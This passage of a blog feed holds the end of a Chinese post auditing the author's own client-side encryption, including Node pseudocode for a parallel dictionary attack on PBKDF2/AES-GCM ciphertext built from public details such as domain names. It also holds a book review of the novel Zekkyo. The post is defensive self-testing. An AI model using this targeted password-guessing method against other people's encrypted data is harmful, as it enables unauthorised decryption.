bug、找配置错误、自动化社工），不会变成”破 AES 的机器”。</strong></p></blockquote><h3 id="7-4-诚实的边界：我可能错在哪"><a href="#7-4-诚实的边界：我可能错在哪" class="headerlink" title="7.4 诚实的边界：我可能错在哪"></a>7.4 诚实的边界：我可能错在哪</h3><ul><li>上面的信心来自<strong>公开密码分析的历史</strong>，这是<strong>归纳</strong>，不是数学证明。理论上明天可能有人发现 AES 的结构性缺陷。</li><li>但有三层缓冲：AES 的 S-box 是按有限域上明确的数学规则生成的（专门抗差分&#x2F;线性分析），不是拍脑袋编的；即使它倒了还有别的算法；而且<strong>能破 AES 的人会先去领图灵奖，不会拿来偷你的足迹数据</strong>。</li><li>所以准确的说法是：<strong>它是真实的尾部风险，但对你的威胁等级排最后</strong>——因为它要求的攻击者成本，远高于绕过你其它门。</li></ul><h3 id="7-5-真正该做的事：密码敏捷性-算法选择"><a href="#7-5-真正该做的事：密码敏捷性-算法选择" class="headerlink" title="7.5 真正该做的事：密码敏捷性 &gt; 算法选择"></a>7.5 真正该做的事：密码敏捷性 &gt; 算法选择</h3><p>这才是本节对实际工作<strong>最有用</strong>的结论。</p><p>密码学界应对”未来某天算力&#x2F;算法突变”的标准思路是**”先存后破”（Harvest Now, Decrypt Later）**：今天抓走你的密文存档，等十年后算力够了再解。</p><p>对抗它的核心手段不是”选一个永恒安全的算法”（不存在），而是：</p><blockquote><p><strong>密码敏捷性（crypto agility）——重要的不是今天用什么算法，而是能不能在一天之内换掉它。</strong></p></blockquote><p>而这恰好是本轮方案最漂亮的地方：<strong>明文备份在我自己手上</strong>，换算法只要改前端一个模块 + 重新加密，<strong>不需要重新录入 324 个点</strong>。</p><p>反面教材则是：把数据锁死在某个专有备份格式里，算法一过时就只能干瞪眼。</p><hr><h2 id="八、防守方的四个后门"><a href="#八、防守方的四个后门" class="headerlink" title="八、防守方的四个后门"></a>八、防守方的四个后门</h2><p>这一轮暴露出的真实暴露面是<strong>四个</strong>，不止密码一个：</p><table><thead><tr><th>#</th><th>后门</th><th>本轮实测状态</th><th>修法</th></tr></thead><tbody><tr><td>1</td><td><strong>明文残留</strong>（git 历史 &#x2F; 本地副本）</td><td>❌ 9 个明文提交 640 KB + 8 个未加密本地文件</td><td>重写历史 &#x2F; 删仓重建 + 清本地副本</td></tr><tr><td>2</td><td><strong>密码可推导</strong></td><td>❌ 旧密码 &#x3D; 域名去 <code>.cn</code>，7.1 秒破</td><td>换不可推导的强密码（✅ 已完成）</td></tr><tr><td>3</td><td><strong>密码留痕</strong></td><td>⚠️ 明文写在 AI 的长期记忆文件里</td><td>从记忆&#x2F;笔记中移除，改为”由本人持有”</td></tr><tr><td>4</td><td><strong>副本未同步加固</strong></td><td>❌ 换密码不溯及既往</td><td>加固后必须回头清旧副本</td></tr></tbody></table><p><strong>修复顺序应该反过来：从最便宜的攻击路径开始堵。</strong></p><p>大多数人（包括我）的直觉是”加强密码”，但按成本排序，正确顺序是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">先清明文残留（A 路）</span><br><span class="line">    ↓</span><br><span class="line">再清密钥留痕（A 路）</span><br><span class="line">    ↓</span><br><span class="line">清理本地旧副本（A 路）</span><br><span class="line">    ↓</span><br><span class="line">最后才是密码本身（B 路）</span><br></pre></td></tr></table></figure><p>而讽刺的是，<strong>我的新密码已经是合格的了</strong>——最不需要动的那一环，我第一时间就动了。</p><h3 id="木桶效应"><a href="#木桶效应" class="headerlink" title="木桶效应"></a>木桶效应</h3><blockquote><p>你把一条路封到 100 分，攻击者从 0 分的那条路进来，总分还是 <strong>0</strong>。</p></blockquote><p>所以安全从来不是”把最显眼的那道门加固”，而是<strong>先把所有门数一遍</strong>。</p><h3 id="关于”要不要提高迭代次数”（一个反直觉的建议）"><a href="#关于”要不要提高迭代次数”（一个反直觉的建议）" class="headerlink" title="关于”要不要提高迭代次数”（一个反直觉的建议）"></a>关于”要不要提高迭代次数”（一个反直觉的建议）</h3><p>遇到这种事，第一反应通常是”那我把 600,000 次提到 2,000,000 次不就更硬了”。</p><p><strong>不建议。</strong> 因为：</p><ul><li>本轮的威胁是”密码<strong>可猜</strong>“，不是”密码<strong>被穷举</strong>“——迭代次数对前者<strong>毫无帮助</strong></li><li>提到 200 万次只会让你的手机解锁多等 3 倍时间（~800ms），用户体验直线下降</li><li><strong>收益 ≈ 0，成本明确</strong></li></ul><blockquote><p>加固要对准真实的攻击路径，不是对准”听起来更安全”。</p></blockquote><hr><h2 id="九、收尾：加密的边界"><a href="#九、收尾：加密的边界" class="headerlink" title="九、收尾：加密的边界"></a>九、收尾：加密的边界</h2><p>绕了一大圈，回到最初那句”这不就说明加密弱鸡”。</p><p><strong>不是加密弱。是”以为加密就完事了”这个想法弱。</strong></p><p>加密能做的和不能做的：</p><table><thead><tr><th>加密能解决</th><th>加密管不到</th></tr></thead><tbody><tr><td>数据面（密文本身）</td><td>密钥怎么选、怎么存、谁能接触</td></tr><tr><td>静态托管场景下的不可读性</td><td>明文副本留在哪（git &#x2F; 备份 &#x2F; 缓存 &#x2F; 截图）</td></tr><tr><td>把攻击成本推高到”需要人”</td><td>有人愿意到场、愿意反水、愿意被钓</td></tr></tbody></table><p>而加密真正的价值，是这句话：</p><blockquote><p><strong>把”自动化、无限次、无声无息”的攻击，变成”需要人、需要接触、会留痕迹”的攻击。</strong></p></blockquote><p>加密本身挡不住有决心、有资源、有内应的人。它挡的是<strong>成本</strong>——它把攻击从”一台笔记本跑一晚上”推高到”需要有人到场或有人反水”。而这两件事是<strong>可检测、可追责</strong>的。</p><p>这就是为什么加密是”必要但不充分”的：它把数据面锁到无懈可击，<strong>然后攻击者就去敲别的门了</strong>（比如你的 git 历史）。</p><h3 id="把整篇压成三句话"><a href="#把整篇压成三句话" class="headerlink" title="把整篇压成三句话"></a>把整篇压成三句话</h3><ol><li><strong>先找材料（旁路 &#x2F; 残留 &#x2F; 人），找不到材料再猜密钥，算法在任何阶段都不是难关，而是开场读物。</strong></li><li><strong>算法足够强时，胜负 100% 取决于”密码的熵来自哪里”。长度不等于熵。</strong></li><li><strong>加固的顺序，是攻击成本的倒序——最便宜的那条路，才是你最先要堵的。</strong></li></ol><blockquote><p><strong>攻击者不破最硬的锁，他找没锁的门。</strong></p></blockquote><hr><h2 id="附录-A：性能基线（本机实测）"><a href="#附录-A：性能基线（本机实测）" class="headerlink" title="附录 A：性能基线（本机实测）"></a>附录 A：性能基线（本机实测）</h2><table><thead><tr><th>项</th><th>数值</th><th>说明</th></tr></thead><tbody><tr><td>PBKDF2-SHA256 × 600,000 派生</td><td>~260 ms</td><td>单次</td></tr><tr><td>单核尝试速度</td><td>3.5 ~ 3.9 次&#x2F;秒</td><td></td></tr><tr><td>8 线程并行</td><td>~31 次&#x2F;秒</td><td>受 CPU 核心数限制</td></tr><tr><td>定向字典命中耗时（本案例）</td><td><strong>7.1 秒</strong></td><td>1362 候选轮询分发，命中位靠前</td></tr><tr><td>扩展字典全跑耗时</td><td>~8 分钟</td><td>3382 候选</td></tr><tr><td>对比：GPU（4090 级）估速</td><td>~3,500 次&#x2F;秒</td><td>相对本机约千倍</td></tr></tbody></table><p><strong>由此推出的两个量级概念：</strong></p><ul><li>11 位纯随机小写+数字，在本机穷举需 <strong>1.35 亿年</strong>；即使 GPU 加速千倍也需 <strong>13 万年</strong></li><li>但”可推导的 11 字符密码”，<strong>实际成本约等于 0</strong></li></ul><hr><h2 id="附录-B：自检思路（可直接复用）"><a href="#附录-B：自检思路（可直接复用）" class="headerlink" title="附录 B：自检思路（可直接复用）"></a>附录 B：自检思路（可直接复用）</h2><p>这套审计思路不依赖任何第三方库，用 Node 内置 <code>crypto</code> 就能跑。核心伪码：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 1. 只做「认证标签校验」，不导出明文</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">test</span>(<span class="params">pw</span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> key = crypto.<span class="title function_">pbkdf2Sync</span>(<span class="title class_">Buffer</span>.<span class="title function_">from</span>(pw, <span class="string">&#x27;utf8&#x27;</span>),</span><br><span class="line">                                salt, iterations, <span class="number">32</span>, <span class="string">&#x27;sha256&#x27;</span>);</span><br><span class="line">  <span class="keyword">const</span> dec = crypto.<span class="title function_">createDecipheriv</span>(<span class="string">&#x27;aes-256-gcm&#x27;</span>, key, iv);</span><br><span class="line">  dec.<span class="title function_">setAuthTag</span>(tag);                    <span class="comment">// 密文尾部 16 字节</span></span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title class_">Buffer</span>.<span class="title function_">concat</span>([dec.<span class="title function_">update</span>(ct), dec.<span class="title function_">final</span>()]).<span class="title function_">toString</span>(<span class="string">&#x27;utf8&#x27;</span>);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (e) &#123; <span class="keyword">return</span> <span class="literal">null</span>; &#125;            <span class="comment">// GCM 校验失败 = 密码错</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. 字典只允许来自「公开可得信息」</span></span><br><span class="line"><span class="comment">//    域名 / 网名 / 站点标题 / 常见弱口令 / 中文用户套路</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 3. 8 路 worker_threads 并行分发</span></span><br></pre></td></tr></table></figure><p><strong>四个必查项（审计清单）：</strong></p><table><thead><tr><th>#</th><th>检查什么</th><th>命令 &#x2F; 方法</th></tr></thead><tbody><tr><td>1</td><td><strong>git 历史明文残留</strong></td><td><code>git log --oneline -- &lt;数据文件&gt;</code> 然后逐个 <code>git show &lt;hash&gt;:&lt;path&gt;</code>，检查是否含加密块</td></tr><tr><td>2</td><td>密码是否可推导</td><td>用域名&#x2F;网名&#x2F;生日做定向字典自测（就是附录 A 那套）</td></tr><tr><td>3</td><td>本地残留副本</td><td>搜索下载&#x2F;备份目录的同名文件，检查是否有未加密版本</td></tr><tr><td>4</td><td>密码留痕</td><td>检查笔记、脚本、记忆文件、聊天记录里是否明文存有密码</td></tr><tr><td>5</td><td><strong>（附加）仓库可见性</strong></td><td><code>curl -o /dev/null -w &quot;%{http_code}&quot; &lt;repo&gt;.git/info/refs?service=git-upload-pack</code> → 401 &#x3D; 私有</td></tr></tbody></table><hr><h2 id="附录-C：延伸阅读"><a href="#附录-C：延伸阅读" class="headerlink" title="附录 C：延伸阅读"></a>附录 C：延伸阅读</h2><ul><li><a href="/p/3138988098.html">加密解密知识库完全指南 —— 从凯撒密码到量子密码</a>：密码学史、CIA 三元组、AES&#x2F;RSA 原理、哈希、PKI、TLS 的完整体系</li><li><a href="/p/3624725012.html">日常密码攻防手册 —— 普通人用到的每一种密码，弱点与破解途径全解析</a>：ZIP&#x2F;RAR、Office、Windows、WiFi 的具体工具命令（Hashcat &#x2F; John the Ripper）</li></ul><p>本文讲的是<strong>方法论层</strong>——前两篇讲”是什么”和”怎么用工具”，本篇补上”攻击者怎么选路径”。</p>]]>
    </content>
    <id>https://misaka10013.cn/p/1697743635.html</id>
    <link href="https://misaka10013.cn/p/1697743635.html"/>
    <published>2026-09-24T07:10:28.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p><strong>📌 本文定位：</strong> 这不是一篇密码学入门（体系知识请看<a href="/p/3138988098.html">《加密解密知识库完全指南》</a>，工具命令请看<a href="/p/3624725012.html">《日常密码攻防手册》</a>），而是一次<strong>真实事件的完整复盘</strong>。</p>
<p>我给自己博客的足迹地图做了一套客户端加密，然后叫 AI 来”破解”它，想验证方案够不够硬。结果三轮下来，结论跟预想的完全不一样：<strong>我测出来的不是”加密弱鸡”，而是”攻击者根本不走我设防的那条路”</strong>。</p>
<p>文中的每一次耗时都是本机实测数据，不是估算。所有案例数据都做了脱敏（只保留统计量，不含任何具体点位内容）。</p>
</blockquote>
<hr>
<h2 id="一、起因：一次”不合规”的考试"><a href="#一、起因：一次”不合规”的考试" class="headerlink" title="一、起因：一次”不合规”的考试"></a>一、起因：一次”不合规”的考试</h2>]]>
    </summary>
    <title>攻击者不破最硬的锁 —— 从我的足迹地图加密被绕过说起</title>
    <updated>2026-09-24T07:11:30.956Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="https://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="绝叫" scheme="https://misaka10013.cn/tags/%E7%BB%9D%E5%8F%AB/"/>
    <category term="社会派推理" scheme="https://misaka10013.cn/tags/%E7%A4%BE%E4%BC%9A%E6%B4%BE%E6%8E%A8%E7%90%86/"/>
    <category term="读后感" scheme="https://misaka10013.cn/tags/%E8%AF%BB%E5%90%8E%E6%84%9F/"/>
    <content>
      <![CDATA[<p>最近读完了日本作家叶真中显的《绝叫》。一本顶着“社会派推理”名头的小说，却没有半点解谜的快感——它只是把一个人如何被生活一步步逼到绝境的过程，原原本本地摊开给你看。读的过程很压抑，但放下书之后，有些问题一直在脑子里转。整理一下感想。</p><h2 id="先说故事：阳子的一生（剧透预警）"><a href="#先说故事：阳子的一生（剧透预警）" class="headerlink" title="先说故事：阳子的一生（剧透预警）"></a>先说故事：阳子的一生（剧透预警）</h2><blockquote><p>⚠️ <strong>剧透预警</strong>：以下梗概包含全书核心反转。如果你还没读过这本书、且在意阅读体验，强烈建议先读原书再回来看——悬念的乐趣被剧透后就再也回不来了。</p></blockquote><p>铃木阳子，1973 年出生于日本一个小城的普通女孩，名字是父母随手取的“最普遍的女名”。母亲重男轻女，把全部疼爱给了体弱多病的弟弟小纯；弟弟因发育障碍遭同学霸凌，留下遗书自杀后，母亲不肯接受现实，反而把怨气全撒在阳子头上。泡沫经济破灭后，父亲欠下巨债离家出走，把妻女抛在身后。阳子独自去东京讨生活：做客服、与初恋重逢结婚、又因对方出轨被婆家逼着离婚；为谋生误入保险行业，被上司以“爱情”为名玩弄、陪睡冲业绩，事发被开除，背上卡债，一步步滑向应召女郎的深渊。缺爱的她供养着花言巧语又家暴成性的牛郎男友，被黑道人物强奸后，反而主动献上“生财之道”——用当年在保险公司学到的门道，与男友登记结婚并投保，再让人制造“车祸”撞死他，骗取巨额保险金。此后她成了黑道组织里专事“杀夫骗保”的工具，又嫁了两任“丈夫”——收容所里无人问津的游民，都死于如出一辙的“意外”。</p><p>而全书的真相要到结尾才揭晓：开篇那具在单身公寓里被猫啃食殆尽的“阳子”尸体，其实是她杀死的应召站旧同事。她除掉控制自己的黑道头目后，勒死旧同事、拿走对方的证件，又弑母灭证、整容换脸，让“铃木阳子”这个人彻底死亡，自己则以另一个身份携款远走，从此人间蒸发。全书双线并行——女刑警追查这桩“孤独死”案，第二人称则冷眼倒叙阳子的一生，两条线最终交汇于那个令人脊背发凉的真相。</p><h2 id="一、书写得很好"><a href="#一、书写得很好" class="headerlink" title="一、书写得很好"></a>一、书写得很好</h2><p>书写得很好。讲了一个叫阳子的女人，怎么被生活一步步逼到绝境。作者很厉害，把日本社会里女性的难处——比如重男轻女、工作难找、男人靠不住、钱不够用——都通过阳子的故事，活生生地展现出来。会让人看了感受到真实和憋屈，感同身受。因为它确实反映了一些社会里的真问题。</p><h2 id="二、真正的病根：人活着，就得求人"><a href="#二、真正的病根：人活着，就得求人" class="headerlink" title="二、真正的病根：人活着，就得求人"></a>二、真正的病根：人活着，就得求人</h2><p>书里对社会现象有大量呈现，也让读者真切感受到问题，但没有说透根本问题。</p><p>真正的病根，是人活着就得求人。</p><p>阳子需要吃饭生存，就得打工，便依赖于压榨她的雇主与传销组织。<br>阳子需要情感，便依赖于冷漠的家庭与薄情的男人。<br>阳子需要认同，便依赖于虚幻的消费与旁人的目光。</p><p>人和人只要有需求，就会产生依赖，有依赖就容易产生不平等和压迫。这是一种基于人类相互需求所必然产生的、普遍性的权力与不平等结构。</p><p>阳子是被男人、上司、社会压迫的可怜人。可那些压迫她的男人，在别的关系里（比如对他的老板、客户），也一样是“被压迫”的。这本书讲的是女性困境，但其实“人求人、人压人”是所有身处“依赖链”下游的弱势者都可能遇到的困境。</p><p>书里最令人不寒而栗的地方在于：被压到绝境的阳子，最后并没有成为“好人”——她从受害者变成了加害者，主动设计杀人骗保，成了链条上游新的压迫者。受害者与加害者的位置发生了互换，但“人求人、人压人”的结构纹丝不动。这才是最绝望的部分：压垮她的从来不是某个具体的坏人，而是整条依赖链本身。</p><h2 id="三、这个问题，为啥解决不了"><a href="#三、这个问题，为啥解决不了" class="headerlink" title="三、这个问题，为啥解决不了"></a>三、这个问题，为啥解决不了</h2><p>反思下来，因为人的需求会“升级”，依赖会不断变化。</p><p>就算以后社会发展高级了，保障所有人吃饱喝足，人又会想要大房子、好车子、被照顾情绪、要有大成就……需求永远在变，永远有更高级的、需要依靠别人才能得到的东西。所以，今天为口饭吃受委屈，明天可能就为一份体面工作受陪笑应酬，后天为了登上称为“成功”的舞台而向他人跪地称臣。只要我们还渴望从他人、从社会那里获取什么，权力的天平就可能倾斜，那种“求人”的屈辱与不安便如影随形。从这种意义上说，书里描绘的并非一个特定社会的病症，而是人类在组织化生存中无法逃脱的“系统设定”。</p><h2 id="四、让人看见症状，思考病根"><a href="#四、让人看见症状，思考病根" class="headerlink" title="四、让人看见症状，思考病根"></a>四、让人看见症状，思考病根</h2><p>这本书的价值，就是让人看见症状，并开始思考病根。它已经完成了它的任务。</p><p>至于解决办法，没有。衍生思索下来，这个关于“需求和依赖”的问题，是超越了性别、超越了社会制度，像是一个人类社会组织的根本困境。这也是为啥无论在哪里都躲不开这个问题。</p><p>大部分人的建议是 对自己个人：清醒一点，独立一点。许多痛苦正来源于“对他者反馈的过度渴望”。精神的独立、欲望的觉察、能力的自强，虽不能斩断所有依赖，但能让我们在不得不“求人”时，多一份清醒，少一份自我迷失，守住核心的自主与尊严。</p><p>从社会层面：虽然人类组织结构摆脱不了“人求人”这个基本设定，但可以努力建立一个更公平的“求人”规则。比如社会帮忙兜底基本生存需求。这不能根除问题，但能让阳子们的活路多一点。</p>]]>
    </content>
    <id>https://misaka10013.cn/p/838021065.html</id>
    <link href="https://misaka10013.cn/p/838021065.html"/>
    <published>2026-09-07T09:22:28.000Z</published>
    <summary>
      <![CDATA[<p>最近读完了日本作家叶真中显的《绝叫》。一本顶着“社会派推理”名头的小说，却没有半点解谜的快感——它只是把一个人如何被生活一步步逼到绝境的过程，原原本本地摊开给你看。读的过程很压抑，但放下书之后，有些问题一直在脑子里转。整理一下感想。</p>
<h2 id="先说故事：阳子的一生（剧透预警）"><a href="#先说故事：阳子的一生（剧透预警）" class="headerlink" title="先说故事：阳子的一生（剧透预警）"></a>先说故事：阳子的一生（剧透预警）</h2><blockquote>
<p>⚠️ <strong>剧透预警</strong>：以下梗概包含全书核心反转。如果你还没读过这本书、且在意阅读体验，强烈建议先读原书再回来看——悬念的乐趣被剧透后就再也回不来了。</p>
</blockquote>]]>
    </summary>
    <title>《绝叫》读后感：逃不掉的“人求人”</title>
    <updated>2026-09-07T09:54:43.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="https://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="Zekkyo" scheme="https://misaka10013.cn/tags/Zekkyo/"/>
    <category term="Social School Mystery" scheme="https://misaka10013.cn/tags/Social-School-Mystery/"/>
    <category term="Reading Notes" scheme="https://misaka10013.cn/tags/Reading-Notes/"/>
    <content>
      <![CDATA[<p>I recently finished Zekkyo (絶叫) by the Japanese writer Akira Hamanaka. It wears the label of a “social-school mystery,” yet it offers none of the pleasure of puzzle-solving—it simply lays out, in unsparing detail, how a person is pushed step by step to the edge of life. Reading it was suffocating, but after I put the book down, some questions kept circling in my head. Let me organize my thoughts.</p><h2 id="The-Story-First-Yoko’s-Life-Spoiler-Alert"><a href="#The-Story-First-Yoko’s-Life-Spoiler-Alert" class="headerlink" title="The Story First: Yoko’s Life (Spoiler Alert)"></a>The Story First: Yoko’s Life (Spoiler Alert)</h2><blockquote><p>⚠️ <strong>Spoiler Alert</strong>: The summary below contains the central twist of the book. If you haven’t read it yet and care about the reading experience, I strongly suggest you read the novel first and come back later—once the suspense is spoiled, the pleasure is gone for good.</p></blockquote><p>Suzuki Yoko was born in 1973 in a small Japanese city, an ordinary girl whose name her parents picked almost carelessly—“the most common girl’s name there is.” Her mother favored sons over daughters, pouring all her love into Yoko’s frail younger brother Jun. When Jun—bullied at school because of his developmental disorder—left a suicide note and took his own life, the mother refused to accept reality and instead dumped her anger on Yoko. After the economic bubble burst, her father, drowning in debt, walked out on the family. Yoko went to Tokyo alone to make a living: she worked as a call-center operator, reunited with and married her first love, only to be pressured into divorce when he had an affair. Drifting into insurance sales, she was played by her boss in the name of “love,” slept with clients to meet her sales quotas, and was fired when it came to light. Burdened with credit-card debt, she slid step by step into working as an escort. Starved for affection, she ended up supporting a sweet-talking, violent host-club boyfriend. After being raped by a yakuza thug, it was she who proposed a “way to make money”—using the know-how she had picked up in the insurance business, she registered a marriage with her boyfriend, took out a policy on him, and had him killed in a staged “car accident” to cash in a fortune in insurance money. After that, she became the tool of a gang that specialized in “insurance-fraud husband killings,” marrying two more “husbands”—homeless men nobody cared about, taken in by the gang’s shelter—both of whom died in eerily identical “accidents.”</p><p>The truth is only revealed at the very end: the “Yoko” corpse found in that apartment at the start of the book, eaten by cats, was actually her former colleague from the escort agency. After killing the gang boss who controlled her, she strangled her old colleague, took her identity papers, killed her own mother to erase the last evidence, and had plastic surgery to change her face—making “Suzuki Yoko” completely dead, while she herself walked away with the money under a new identity, vanishing without a trace. The novel runs on two parallel tracks—a female detective investigating the “lonely death” case, and a second-person narration that coldly looks back over Yoko’s life—until the two lines converge on a truth that sends a chill down your spine.</p><h2 id="1-The-Writing-Is-Excellent"><a href="#1-The-Writing-Is-Excellent" class="headerlink" title="1. The Writing Is Excellent"></a>1. The Writing Is Excellent</h2><p>The writing is excellent. It tells the story of a woman named Yoko and how life pushed her, step by step, to the brink. The author is skillful: the hardships of women in Japanese society—favoring sons over daughters, no decent jobs to be found, men you can’t rely on, never enough money—are all brought to life vividly through Yoko’s story. You can’t help feeling the reality and the suffocation, and empathizing with her. Because it really does reflect genuine problems in society.</p><h2 id="2-The-Real-Root-Cause-To-Live-You-Must-Ask-Others"><a href="#2-The-Real-Root-Cause-To-Live-You-Must-Ask-Others" class="headerlink" title="2. The Real Root Cause: To Live, You Must Ask Others"></a>2. The Real Root Cause: To Live, You Must Ask Others</h2><p>The book presents social phenomena in abundance and lets readers truly feel the problems, but it never spells out the fundamental cause.</p><p>The real root cause is this: to live, human beings must ask others for things.</p><p>Yoko needs food and survival, so she must work—and thus depends on employers who exploit her and organizations that fleece her.<br>Yoko needs affection, so she depends on a cold family and faithless men.<br>Yoko needs recognition, so she depends on empty consumption and the eyes of others.</p><p>Wherever human needs exist, dependence arises; and where dependence exists, inequality and oppression are never far behind. This is a universal structure of power and inequality that grows inevitably out of our mutual needs as human beings.</p><p>Yoko is a pitiable woman oppressed by men, by bosses, by society. But the men who oppressed her are, in their other relationships—with their own bosses, their own clients—equally “oppressed.” This book tells the story of a woman’s predicament, but in truth, “people asking of people, people crushing people” is a predicament that can befall any weak person who ends up at the bottom of a chain of dependence.</p><p>The most chilling part of the book is this: Yoko, driven to the edge, does not end up as a “good person.” She turns from victim into perpetrator—deliberately scheming murder for insurance money, becoming a new oppressor higher up the chain. The positions of victim and perpetrator are swapped, but the structure of “people asking of people, people crushing people” stands utterly unmoved. That is the most hopeless part: what crushes her is never one particular villain, but the chain of dependence itself.</p><h2 id="3-Why-Can’t-This-Problem-Be-Solved"><a href="#3-Why-Can’t-This-Problem-Be-Solved" class="headerlink" title="3. Why Can’t This Problem Be Solved?"></a>3. Why Can’t This Problem Be Solved?</h2><p>On reflection, it’s because human needs keep “upgrading,” and dependence keeps shifting.</p><p>Even if society develops to a higher stage where everyone’s basic needs are guaranteed, people will then want bigger houses, nicer cars, emotional care, great achievements… Needs change endlessly; there is always something more advanced that can only be obtained by relying on someone else. So today you swallow humiliation for a meal; tomorrow you might be smiling through business dinners for a respectable job; the day after, you might kneel and pledge allegiance to reach a stage called “success.” As long as we still long to get something from others or from society, the balance of power can tilt—and the humiliation and unease of “asking” cling to us like a shadow. In this sense, what the book depicts is not the ailment of one particular society, but a “system setting” that humans cannot escape in organized existence.</p><h2 id="4-Making-People-See-the-Symptoms-and-Think-About-the-Root"><a href="#4-Making-People-See-the-Symptoms-and-Think-About-the-Root" class="headerlink" title="4. Making People See the Symptoms and Think About the Root"></a>4. Making People See the Symptoms and Think About the Root</h2><p>The value of this book is precisely that it lets people see the symptoms and begin to think about the root cause. It has already fulfilled its task.</p><p>As for a solution—there is none. Reasoning further, this question of “needs and dependence” transcends gender, transcends social systems; it seems to be a fundamental predicament of human organization itself. That’s why, no matter where you are, you can’t dodge this problem.</p><p>Most people’s advice comes down to this. On the personal level: stay clear-eyed, stay independent. Much suffering comes from an “excessive craving for feedback from others.” Independence of mind, awareness of one’s desires, self-reliance in one’s abilities—these cannot sever every dependence, but they can give us a measure of clarity when we have no choice but to “ask,” a little less self-loss, and a hold on the autonomy and dignity at our core.</p><p>On the social level: although human organizations cannot escape the basic setting that “people ask of people,” we can still try to build fairer rules for “asking.” For instance, society can underwrite the basic needs of survival for everyone. That can’t eradicate the problem, but it can leave the Yokos of this world a little more room to live.</p>]]>
    </content>
    <id>https://misaka10013.cn/en/p/838021065.html</id>
    <link href="https://misaka10013.cn/en/p/838021065.html"/>
    <published>2026-09-07T09:22:28.000Z</published>
    <summary>
      <![CDATA[<p>I recently finished Zekkyo (絶叫) by the Japanese writer Akira Hamanaka. It wears the label of a “social-school mystery,” yet it offers none of the pleasure of puzzle-solving—it simply lays out, in unsparing detail, how a person is pushed step by step to the edge of life. Reading it was suffocating, but after I put the book down, some questions kept circling in my head. Let me organize my thoughts.</p>
<h2 id="The-Story-First-Yoko’s-Life-Spoiler-Alert"><a href="#The-Story-First-Yoko’s-Life-Spoiler-Alert" class="headerlink" title="The Story First: Yoko’s Life (Spoiler Alert)"></a>The Story First: Yoko’s Life (Spoiler Alert)</h2><blockquote>
<p>⚠️ <strong>Spoiler Alert</strong>: The summary below contains the central twist of the book. If you haven’t read it yet and care about the reading experience, I strongly suggest you read the novel first and come back later—once the suspense is spoiled, the pleasure is gone for good.</p>
</blockquote>]]>
    </summary>
    <title>Zekkyo Reading Notes: The Inescapable Dependence on Others</title>
    <updated>2026-09-15T13:08:39.430Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="https://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="社会派推理" scheme="https://misaka10013.cn/tags/%E7%A4%BE%E4%BC%9A%E6%B4%BE%E6%8E%A8%E7%90%86/"/>
    <category term="絶叫" scheme="https://misaka10013.cn/tags/%E7%B5%B6%E5%8F%AB/"/>
    <category term="読書感想" scheme="https://misaka10013.cn/tags/%E8%AA%AD%E6%9B%B8%E6%84%9F%E6%83%B3/"/>
    <content>
      <![CDATA[<p>最近、葉真中顕の『絶叫』を読み終えた。「社会派推理小説」の看板を掲げた一冊なのに、謎解きの快感はほとんどない。ただ、一人の人間が生活に少しずつ追い詰められていく過程を、そのまま目の前に差し出してくるだけだ。読んでいる間は息が詰まる思いだったが、本を閉じた後も、いくつかの問いが頭の中をぐるぐる回り続けている。感想を整理しておきたい。</p><h2 id="まずはあらすじ：陽子の生涯（ネタバレ注意）"><a href="#まずはあらすじ：陽子の生涯（ネタバレ注意）" class="headerlink" title="まずはあらすじ：陽子の生涯（ネタバレ注意）"></a>まずはあらすじ：陽子の生涯（ネタバレ注意）</h2><blockquote><p>⚠️ 